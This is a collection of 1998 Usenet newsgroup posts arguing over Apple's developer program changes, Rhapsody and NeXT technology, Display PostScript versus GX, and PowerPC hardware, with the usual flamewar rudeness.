References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <1d78ren.1dbj70n1j99pebN@hobbit1.injep.fr> <6glqd2$7j4$4@anvil.BLaCKSMITH.com>
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Charles Swiger <chuck-nospam@blacksmith.com> wrote:
> If a one-time $250 cost change makes a difference to your company as to which
> technologies to pursue, you were obviously considering a marginal
> opportunity.
I think you will find that the vast majority of Macintosh developers
these days consider Mac development "a marginal opportunity". Many still
hang on, one way or another, even though common sense says they should
have abandoned ship long a go. Motivated by a strong personal interest
and strong personal preferences rather than good business reasons.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 11 Apr 1998 04:06:25 GMT
Organization: Digital Fix Development
Message-ID: <6gmq81$ate$1@news.digifix.com>
References: <6gm2s3$213$1@news.digifix.com> <B153EB42-13174@206.165.43.22>
In-Reply-To: <B153EB42-13174@206.165.43.22>
On 04/10/98, "Lawson English" wrote:
>Scott Anguish <sanguish@digifix.com> said:
>Lawson English <english@primenet.com> said:
>
>> >
>> >No, you're chuckling over DPS-lover's propoganda. Remember that
the
>> only
>> >feedback about DPS that you are getting has been from people that
use
>> DPS,
>> >not GX. Also, the people in charge of graphics at Apple *invented*
>> DPS, not
>> >GX, so they have a certain level of bias, also.
>>
>> Horse-shit.
>>
>
>I presume that you justify your language below...
>
The language is due to total and complete exasperation due to
YOUR GX rants.
I notice that in all the rest of your reply you completely
ignore the fact that you don't have any defence for your statements
about DPS..
Instead, you shift the goal-posts..
Classic Lawson...
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: <>
Newsgroups: comp.sys.next.advocacy
Subject: (no subject)
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID: <352f6a05.0@news1.ibm.net>
Date: 11 Apr 98 13:03:01 GMT
Organization: IBM.NET
From: andrew@AmbrosiaSW.com (Andrew Welch)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <andrew-1104980043110001@lgm.com>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6gmku8$n6j$1@news.cmc.net>
Organization: Ambrosia Software, Inc.
Date: Sat, 11 Apr 1998 04:44:38 GMT
NNTP-Posting-Date: Sat, 11 Apr 1998 00:44:38 EST
In article <6gmku8$n6j$1@news.cmc.net>, com.occam@leonvs wrote:
> NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
>
> In <B1511189-1AF6A@206.165.43.154> "Lawson English" wrote:
> >
> >But shareware programmers often fill in the gaps that commercial software
> >leaves. Also shareware programmers learn the ropes via feedback from their
> >customers and are often high school/college students who later enter the
> >Mac programming field as professionals.
> >
> >There's one very, VERY important piece of software that wouldn't exist if
> >shareware wasn't easy to do on the Mac:
> >
> >Stuffit.
> >
> >Raymond Lau put himself through MIT by writing Stuffit when he was 16 and
> >Alladin Software is a pretty important software house in the Macintosh
> >community..
> >
> >Where's the next Stuffit or Alladin Software for MacOS going to come from
> >if there aren't going to be any more Raymond Lau's?
>
> But I wonder... Was Raymond Lau actually a member of any of Apple's
> developer programs, or did he just get a Mac and hack on it like most
> people?
I think I can speak with some authority here. Raymond was not a member of
any Apple developer programs while working on Stuffit. I also put myself
through college on my shareware offerings (though I went for
photojournalism, not comp sci/engineering :).
Inside Mac, a compiler, and net access was all I needed -- frankly, even
now, although are in an Apple developer program, rarely do we need
anything from Apple. I think once in over a decade I have asked Apple for
technical support.
The new developer programs are *fine* for small hobbyist developers --
there's more available via http/ftp, for free, than there ever has been!
Most of the people whom I've seen being upset by the changes either a)
don't understand that they'll actually likely be saving money with the new
programs, or b) Aren't actively developing anything in the first place...
+--------------------------+-----------------------------------+
| Andrew Welch | Ambrosia Software, Inc. |
| Thaumaturgist | http://www.AmbrosiaSW.com/ |
+--------------------------+-----------------------------------+
From: tas@mindspring.noUCE.com (Timothy A. Seufert)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Fri, 10 Apr 1998 22:23:25 -0700
Organization: Evil Geniuses For A Better Tomorrow, Inc.
Message-ID: <tas-1004982223290001@user-38lcjsn.dialup.mindspring.com>
References: <6fbvpe$l63@newsb.netnews.att.com> <6g9m3n$neh@bgtnsc02.worldnet.att.net> <slrn6ihr33.mgm.sal@panix3.panix.com> <35290A7D.41C67EA6@ctron.com> <6gh5mo$eku$1@flea.best.net>
In article <6gh5mo$eku$1@flea.best.net>, dillon@best.net (Matt Dillon) wrote:
> But Intel has been pretty good at including large 256K, 512K, or better
> secondary caches. The secondary cache on the PPro is also four-way
> set associative, I believe (I don't know what it is on the P-II).
Hmmm... I thought the PPro cache was direct-mapped.
The PowerPC 750 backside L2 is 2-way set associative, which they were able
to do because the tag ram and controller are on the CPU die. (This makes
cache design really simple -- you just tack a fast SRAM or two onto the
cache bus, and make sure that the traces are real short.)
> Look how easily IBM ran out a 1GHz Power PC core in copper ? They
> probably didn't have to change the design at all.
Definitely not true. 1 GHz logic design requires entirely new approaches,
regardless of how clean the instruction set is. The 1 GHz core
implemented a subset of PowerPC user mode integer instructions only. It
was basically a project used to develop high-speed design methodology.
--
-- Tim
To mail me unsolicited advertisements: Move to Siberia. Wait until I
say it's OK to send. Everybody else, remove "noUCE." from my address.
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 00:49:29 +0200
Organization: Guest of OLEANE
Message-ID: <1d7aq7w.1yep9o018c97b2N@dialup-202.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no> <6geche$8lu$1@news2.apple.com> <philipm-0804982051170001@pm1-23.eecs.umich.edu> <6gj0or$oop$12@ironhorse.plsys.co.uk> <trumbull-0904981554150001@net44-223.student.yale.edu> <don_arb-1004981207170001@sea-ts1-p29.wolfenet.com>
Mime-Version: 1.0
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Don Arbow <don_arb@wolfenet.com> wrote:
> Remember, also that Apple needed people to administer the hardware
> program, take orders, get the boxes shipped, etc. I'm sure that cut into
> any profits that Apple may have made on the boxes.
For a punch line that's a good one.
Q: Who just opened an online store?
R: Dduuuhhhh.
Benoît Leraillez
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 98 22:47:59 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B154522B-157593@207.217.155.30>
References: <6glos8$oop$17@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.earthlink.net/comp.sys.mac.oop.powerplant,
nntp://news.earthlink.net/comp.sys.mac.programmer.codewarrior,
nntp://news.earthlink.net/comp.sys.next.advocacy,
nntp://news.earthlink.net/comp.sys.next.programmer
mmalc quoted Jordan J. Dea-Mattson
>Apple has not been cashing anyone's checks on new enrollments or renewals
>for over six months. Everyone who has had to renew or join the program in
>the last six months has gotten it gratias.
That statement IS NOT true. I know of one developer whose credit card was
charged in December for new Associates membership. I'd be more than happy
to put ADR reps in touch with that developer. Look, it's only $250, but if
the "Apple response" to developers who don't like this move is "RTFP" or
"deal with it" or "get a clue", then incorrect assertions like the above
are going to be criticized.
NOTE: I'm not accusing mmalc or Jordan J. Dea-Mattson of lying. I'm just
saying that the statement quoted above is not true.
>> mmalc finsihes:
>> Jordan finishes by asking "Is anyone mentioning this fact?"
>> The answer is clearly "No." People would rather yell at Apple and bitch
>> about something they haven't learned enough about.
The problem here is that "facts" aren't consistent with reality. Given the
reaction to this thing from some REAL COMMERCIAL developers (check out
MacCentral if there's any doubt that we're talking about a segment of real
commercial developers here), I find it hard to believe that ADR even beta
tested this plan. Look, they rolled it out and it crashed when confronted
with many developers' business models. It's like if any of us developers
shipped software that didn't work on PowerBooks but worked on G3s. And
then, when LONGTIME PAYING CUSTOMERS complained, we told 'em the G3 crowd
was happy and suggest they go buy one.
Dear Apple Management- Developers are telling you this because they love
Apple and still believe in Apple. If they didn't love Apple, they'd say
"see ya, wouldn't wanna be ya". Developers of all sizes still want to give
you a chance to be developer friendly. Seize it before it really is too
late.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 23:05:09 -0500
Organization: CE Software
Message-ID: <MPG.f98a7f36910a81298989e@news.supernews.com>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6gmku8$n6j$1@news.cmc.net> <andrew-1104980043110001@lgm.com>
In article <andrew-1104980043110001@lgm.com>, andrew@AmbrosiaSW.com
says...
> Most of the people whom I've seen being upset by the changes either a)
> don't understand that they'll actually likely be saving money with the new
> programs, or b) Aren't actively developing anything in the first place...
>
We'll be able to save a bit, by getting less. To get the same we've got
now we'll have to spend a lot more.
And, it was changed mid-contract. "That deal you thought you had with
us? <snicker> Well, here's the new deal. You don't like it? Tough.
We got your cash, we got the fine print, so stick it."
For minimal benefit, they pissed off many developers they depend on. It
was legal. But, it was worth than a crime, it was a mistake.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 23:05:22 -0500
Organization: CE Software
Message-ID: <MPG.f98a80060b89b0798989f@news.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com> <6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm9o0$evt$1@crib.bevc.blacksburg.va.us>
In article <6gm9o0$evt$1@crib.bevc.blacksburg.va.us>,
nurban@crib.bevc.blacksburg.va.us says...
> In article <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com>, bl003@dial.oleane.com (Benoit Leraillez) wrote:
>
> > We lost so much money and time with OpenDoc that we'll care about
> > Rhapsody when it ships. Sure I'll to take a look at it on my spare time
> > but we won't put a drop of sweat on VaporWare (aka the next neXt) until
> > it is sold, installed, running on machines, consumer machines. I'm not
> > into DreamOs, the coming revolutionary OS with a potentially
> > hypothetical market. I'll think about it when it's a reality with at
> > least ten times more users than Jobs PreviouX OS.
>
> If everyone sits around and waits until Rhapsody has a market size of
> X, rather than buying it and/or developing for it, can you guess the
> likely outcome?
>
> Me, I'm willing to put time and effort into a system that gets the
> job done better than any other, and do what I can to _make_ it a good
> platform.. if no one did, then nothing new would ever get used.
>
That makes sense if and only if you have confidence that Rhapsody will
actually ship, in roughly the same form and design as currently being
shown, and marketted well.
After Open Doc, Open Transport, Sprockets, CHRP, Bedrock, Comm Toolbox,
and Newton, it's not irrational to lack that confidence.
Yes, Apple spent big bucks on NeXt. Of course, they also spent big bucks
on the above projects and were willing to kill it or not follow through
on their announced plans.
Apple does much cool stuff. When it's here and real and working and
selling, it's usually the coolest stuff around. But, I at least have
been burned enough that I cannot trust Apple's announcements and
promises.
Is that bad news for Rhapsody? Maybe. Maybe there are enough people
with enough trust to make it happen. I hope so, because I want Apple and
Rhapsody to succeed. But I will not risk my scarce resources on a
promise from Apple anymore.
Donald
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 11 Apr 1998 06:28:51 GMT
Organization: @Home Network
Message-ID: <6gn2j3$1fq$3@ha2.rdc1.sdca.home.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no>
<6geche$8lu$1@news2.apple.com> <philipm-0804982051170001@pm1-23.eecs.umich.edu>
<6gj0or$oop$12@ironhorse.plsys.co.uk> <trumbull-0904981554150001@net44-223.student.yale.edu>
<don_arb-1004981207170001@sea-ts1-p29.wolfenet.com> <trumbull-1004981620410001@net44-223.student.yale.edu>
Mime-Version: 1.0
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Cc: trumbull@cs.yale.edu
In <trumbull-1004981620410001@net44-223.student.yale.edu> Ben Trumbull wrote:
> There's never been a hobbyist developer
> welfare supported entirely by Apple as some people have proposed.
>
>
[ snipped bunch of cross postings ]
I agree with your statement above. It may well be true in-fact. No argument.
The future, however, isn't necessarily an extension of Apple's past. Rhapsody
changes "everything". NeXT people have been there and know the O-O_knothole_
experience just ahead. The steepness of the Rhapsody learning curve and
"newness" of the underlying BSD OS will rachet support costs up by a factor or
two.
It is precisely those less fortunate who don't have a unix SysAdm on-staff or
Obj-C guru that will be in the first wave of support calls. The "effect" of
the ADR changes will "soften" the frontal assault at the Support Desks.
-r
Rex Riley
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 11 Apr 1998 04:13:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1549F82-1FAC5@206.165.43.102>
References: <6gmmaa$ahc2@odie.mcleod.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Michelle L. Buck <buck.erik@mcleod.net> said:
> Now he has finally made an
> esoteric enough requirement that Rhapsody will probably not satisfy.
> Maybe
> some third party should satisfy this need. If enough people want it,
that
> company will make money. Why should everyone pay for it ?
There's no reason why Rhapsody couldn't satisfy this need. Maybe it already
does in DR2. I was pointing out that using DPS directly would likely not
work here and that Rhapsody would need to use something along the lines of
GX's strategy to make it work.
You guys may not realize it, but the YB API doesn't use DPS calls for a lot
of things that you apparently think that it does.
BTW, FYI, from GX-talk:
> Date: 10 Apr 1998 18:53:01 -0400
> From: Stefan Wagner <h8625330@obelix.wu-wien.ac.at>
> Subject: WWDC and GX
>
> >From WWDC 98 OS-track:
>
> >105 The Future of Text on Mac OS
> >Apple's text drawing technology for the future, Apple Type Services for
> >Unicode Imaging (ATSUI), is a complete Unicode drawing solution. Learn
> >how this API supports virtually all the world's languages as well as
> >advanced typographic, line layout, and international features. This is a
> >cornerstone Mac OS technology!
>
> >106 Apple's Font Strategy
> >Learn how Apple's font technologies will keep Mac OS the platform of
> >choice for design and publishing. Learn about our solution to the vexing
> >font matching problem and about our open font architecture which extends
> >your investment in Type 1, TrueType, GX, and other important font
> >formats.
>
> >130 Graphics & Imaging for Mac OS & Rhapsody
> >Apple is constantly evolving its graphics and imaging models. In this
> >session you will hear about the latest developments in Mac OS and
> >Rhapsody graphics and imaging, as well as were we will be going in the
> >future.
>
> >136 Printing Directions
> >Apple has traditionally been a leader in the printing industry with
> >powerful and easy to use printing technologies. Come see what the future
> >of printing holds for application and driver developers with a
> - -----> new and powerful printing architecture.
>
>
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
From: pischke@ecf.toronto.edu (David Pischke)
Subject: Re: PowerPC with 100 MHz bus
Sender: news@ecf.toronto.edu (News Administrator)
Message-ID: <Er9H0G.Hy0@ecf.toronto.edu>
Date: Sat, 11 Apr 1998 18:07:28 GMT
References: <6go69q$8l1$3@hecate.umd.edu>
Organization: University of Toronto, Engineering Computing Facility
In article <6go69q$8l1$3@hecate.umd.edu>,
David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu> wrote:
>Webmaster (scarsadm@scars.com) wrote:
>
>: Also of note: According to MacOSRumors (awhile ago) Apple's next generation
>: motherboard HAS achieved "near 100Mhz" speeds. But the source also stated
>: that current plans - barring changes in the memory market - was to keep
>: 89Mhz as probably the upper end because treading much higher would require
>: memory near 5ns access for the motherboard and the was considered "too
>: costly" for the home computer market.
>
>89 MHz is 11ns, and 100 MHz is 10ns. "Treading much higher would require
>memory near 5ns access for the motherboard" doesn't really make sense to
>me. Much higher? 166 MHz motherboard?
The people who write for Mac OS Rumors are idiots. I remember the article
David T. Wang refers to. In it they claimed that Apple wouldn't be moving
to 100MHz buses soon because SDRAM runnning at "speeds that fast" was not
going to be available at affordable prices any time soon.
Clearly they have no clue what they're talking about.
From: Eric M Scott <escott@together.net>
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Thu, 09 Apr 1998 10:11:20 -0400
Organization: None
Message-ID: <352CD708.3359@together.net>
References: <6fbvpe$l63@newsb.netnews.att.com> <6g9m3n$neh@bgtnsc02.worldnet.att.net> <slrn6ihr33.mgm.sal@panix3.panix.com> <35290A7D.41C67EA6@ctron.com> <6gh5mo$eku$1@flea.best.net>
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Matt Dillon wrote:
>
> :In article <35290A7D.41C67EA6@ctron.com>,
> :A. J. LaSalle <alasalle@ctron.com> wrote:
> :>Salvatore Denaro wrote:
> :>>
> :>It seems that the primary benefit of Risc now a days is that they
> :>require
> :>fewer transisters (and power) to get the same amount of work done. But
> :>they
> :>need alot of cache to keep their cores busy (PPC 750 has an L1 cache
> :>twice
> :>the size of the PII). That larger L1 a very significant contributor to
>
> The primary benefit of RISC is that the architecture is more easily
> pipelined and segmented, allowing you to run the processor at much
> higher frequencies. Intel has to leap through hoops and use their
> superior fabs to even come close. To give them credit, they *are*
> pretty close, but the insides of the pentium's had to be turned into a
> spaghetti of complexity to do it.
>
> Look how easily IBM ran out a 1GHz Power PC core in copper ? They
> probably didn't have to change the design at all.
>
http://techweb.cmp.com/eet/news/98/1002news/taxes.html
The 1GHz did not use copper. It used the normal .25 micron
process. It was a design done specifically for this, and
I believe it is an integer only processor. I'm sure that
if you asked the guys who worked on it they wouldn't say it
was "easy." The articles I've read indicate it was quite
a challenge.
Eric
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Sat, 11 Apr 1998 14:40:12 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6goebb$i9s$1@usenet11.supernews.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <joe.ragosta-0904981940420001@elk64.dol.net> <edremy-ya02408000R0904981710030001@nnrp.usc.edu> <Josh.McKee-1004982152020001@pm3a12.rmac.net>
x-no-archive: yes
Joshua T. McKee wrote in message ...
>Eric Remy wrote:
>
>
>> The sysadmins didn't verify that their backup was good, then
overwrote the
>> good data with the bad. I made an error once that would have been
found by
>> checking the data - I was using the bundled NT backup and didn't
check the
>> "backup local registry" box. When my HD failed, my data was ok,
but I had
>> to reinstall all my apps.
>
>What makes me wonder is why they had to restore from backup to begin
>with. Why does moving two servers cause them to become unusable?
Maybe
>they were tossed around to hard, but it seems rather odd that two
servers
>had the same problem.
>
>I experienced a similar problem with a Windows 95 system. Moved it
and
>when we started it back up, it failed to load correctly. It took a
>re-installation of the OS to fix it (no problems were reported by
scandisk
>before erasing the drive).
Actually, the article didn't even say that the servers were
Windows machines. A number of platforms could have been
serving those files. Windows users were affected because
the clients for those servers ran Windows. If NT or Netware
had been serving the files for the Mac clients and Stanford
issued a press statement saying "Sorry, but our Mac users
might have lost a lot of their data," would you be hooping
and hollering about Mac problems?
>We will most likely never really know what happened...but these kinds
of
>unexplained problems are what keep me from using Windows. I just
cannot
>trust my data to it.
Problems happen on any platform, that's why you're supposed
to make backups. Or do you think that critical Mac networks
aren't backed up? If they're backed up the same way that
they were in the Stanford episode, you'd have the exact
same problem.
>
>> The sysadmins were idiots. The users were idiots. There's plenty
of blame
>
>
>Were they? In hindsight, maybe so...but these guys must have some
really
>bad luck. Two servers that failed after being moved? Backups that
didn't
>work when needed?
The restore of the backups *did* work when needed. The problem
was that the admins didn't backup everything that they were
supposed to. In hindsight, in foresight, and in every kind of
sight, the admins screwed up. Do you really think they would
have admitted that they were at fault for a disaster this big
if it wasn't the case?
Z
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 11 Apr 1998 11:03:08 -0400
Organization: Virginia Tech, Blacksburg, Virginia
Message-ID: <6go0nc$g9l$1@crib.bevc.blacksburg.va.us>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm9o0$evt$1@cr <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de>
In article <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de>, schuerig@acm.org (Michael Schuerig) wrote:
> Nathan Urban <nurban@crib.bevc.blacksburg.va.us> wrote:
> > If everyone sits around and waits until Rhapsody has a market size of
> > X, rather than buying it and/or developing for it, can you guess the
> > likely outcome?
> > Me, I'm willing to put time and effort into a system that gets the
> > job done better than any other, and do what I can to _make_ it a good
> > platform.. if no one did, then nothing new would ever get used.
> It makes me bitter when I hear some of the established developers tell
> the small guys to stop whining and shell out the $500 or go home and be
> quiet: "If you can't pay the money, you can't be doing something
> significant."
I think that what they're saying is that if you're not producing a
supported commercial product competing in the market, then you probably
don't have an urgent need to get the advance beta developer seeds, and
can make do with the official releases. Now, I happen to disagree with
that in the one instance of RDR, since they need to get it into the hands
of people as quickly as possible, but for future releases of Rhapsody,
I don't think that's terribly unreasonable.
> What these people apparently don't understand is that it requires a lot
> of enthusiasm, effort and money to spent your sparetime on developing
> software for the Mac.
You don't have to tell me about that. That's what I do. In fact,
that's what I did with NEXTSTEP back before Apple bought NeXT, and the
NEXTSTEP market was even smaller than Rhapsody's will be. And I didn't
get any advanced beta seeds, I had to wait for the public releases just
like everyone else.
I was an Associate member too. I'll probably just get the dev CDs for
$200 when my upgraded Select membership lapses, if they include Rhapsody.
If they don't, I'll probably just join Select. The only thing that
worries me is that if I get the CDs, will I be able to cheaply upgrade
to new official versions of Rhapsody? I don't know how the dev CD
program works.
From: pomart@cartoon.ecn.purdue.edu (Your Name)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 07:22:12 GMT
Organization: Purdue University
Message-ID: <6gkhb4$6ra@mozo.cc.purdue.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>
rriley@yahoo.com (Rex Riley) writes:
>http://www.mercurynews.com/business/center/stanford09.htm
>Stanford.edu is the new PosterChild for Apple today in the wake of a
>disaster which cost Windows users dearly. Mac users and Unix mainframes
>emerged unscathed from a network "upgrade" which went arwy. Lost in the
>maintenance were Phd. dissertations, databases, files and research notes
>covering _years_ of work. Stanford Univ. School of Business, Windows-based
>curriculum, has "tarnished" the institution's reputation and "erased"
>years of academic work. The disaster affects 10 - 15 faculty and doctoral
>candidates directly posing a "serious blemish" for the School of Business.
More like that and a lot of serious professionals are going
hate Billy. Way to go Gates when you think that people can settle
for standardised lower quality, you can't even get NT working in
your own house !
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 11 Apr 1998 15:03:31 -0400
Organization: Virginia Tech, Blacksburg, Virginia
Message-ID: <6goeq3$gjv$1@crib.bevc.blacksburg.va.us>
References: <6gmmaa$ahc2@odie.mcleod.net> <B1549F82-1FAC5@206.165.43.102> <6gobmm$ete1@odie.mcleod.net>
In article <6gobmm$ete1@odie.mcleod.net>, "Michelle L. Buck" <buck.erik@mcleod.net> wrote:
> Lawson English wrote in message ...
> >You guys may not realize it, but the YB API doesn't use DPS calls for a lot
> >of things that you apparently think that it does.
> Great! So why have you been bitching for a year ? Haven't you just
> conceded every refutation of your claims to date ? Will you finally stop
> spouting drivel and learn a thing or two about Rhapsody before posting
> baseless claims.
That's one of the funniest things I've ever seen Lawson post. Pretty
much every Lawson-thread here has been of the form:
Lawson: It's difficult/tedious/impossible/inefficient to do "foo"
in Display PostScript.
Person with a clue: You'd never do "foo" in DPS anyway, that's done
in the AppKit (or wherever), where it belongs, and works fine (and is
probably faster/more flexible/better than GX to boot).
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 11 Apr 1998 12:09:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1550F01-581B6@206.165.43.155>
References: <philipm-1104981325480001@pm1-25.eecs.umich.edu>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
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Philip Machanick <philipm@NO-SPAMeecs.umich.edu> said:
> In article <joe.ragosta-0804982109560001@elk62.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> >Anyone notice that people like Mr. brown here, who would apparently
> never
> >go near a Mac from reading his posts, are the ones complaining while
> >developers like mmalc are supporting the change?
>
> I'm on a mailing list mainly populated by developers and I can assure you
> that most of them are pretty upset (including some who have been pretty
> defensive of Apple in the past), not so much on the substance as on the
> message.
Mr. Brown is also a Mac developer and bleeds 6 colors.
[hell, *I* bleed six colors (if I understand what the phrase means): I was
writing a graphics library for HyperC for Apple IIs when Dave McClain hired
me to work on Macintoshes in '86]
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: Microsoft Faking Testimonials...
Message-ID: <petrichEr9KDr.AKC@netcom.com>
Organization: Netcom
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>
Date: Sat, 11 Apr 1998 19:20:14 GMT
Sender: petrich@netcom18.netcom.com
In article <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>,
Eric A. Dubiel <eadubie@rs6000.cmp.ilstu.edu> wrote:
>Check it out...don't believe the M$ hype...
>http://www.abcnews.com/sections/business/DailyNews/microsoft_media980410/index.html
>"With antitrust challenges and the launch of Windows
>98 looming, Microsoft is reportedly looking to polish its
>war-torn image with a series of faux feel-good
>testimonials."
>I think the feds should just let the case drop, and let the free-market
>be the regulator.
LOL. That's like saying that the free market is sufficient for
punishing crime. For example, theft would be "punished" by others not
trusting the thief to respect their property claims.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: Brian Vito <bvito@tiac.net>
Newsgroups: comp.sys.next.advocacy
Subject: "Ultimate NeXT" Web site?
Date: Sat, 11 Apr 1998 16:29:50 -0400
Organization: The Internet Access Company, Inc.
Message-ID: <352FD2BC.7D9CB76C@tiac.net>
Mime-Version: 1.0
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I used to like a web site called "The Ultimate NeXT Site" or something
like that. I can't seem to find it anywhere now. Does it still exist?
Thanks.
--
"We may only have 10 percent of the market, but quite clearly it's the
top 10 percent."
- Apple Computer, and they're quite right.
From: edremy@chem1.usc.edu (Eric Remy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 13:30:15 -0700
Organization: USC Chemistry
Message-ID: <edremy-ya02408000R1104981330150001@nnrp.usc.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <MPG.f98a80060b89b0798989f@news.supernews.com> <6goedv$giu$1@crib.bevc.blacksburg.va.us>
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In article <6goedv$giu$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> Good grief. The developer conference is in a month. The commercial
> release isn't much later. I've got a copy of RDR. Apple knows as well
> as you and I do that MacOS just isn't going to cut it forever. Fine,
> Apple has killed other technologies in the past, and maybe some of them
> were mistakes, but they're not _that_ dumb. If they ditch Rhapsody now
> they're doomed, if for no other reason than Apple's been touting it as
> their next-generation OS. If Apple doesn't have a "next generation OS",
> nobody's going to believe they're going to stick around, and no one's
> going to believe that MacOS _is_ their "next generation OS".
You know, this sounds an awful lot like what I heard about Copland a few
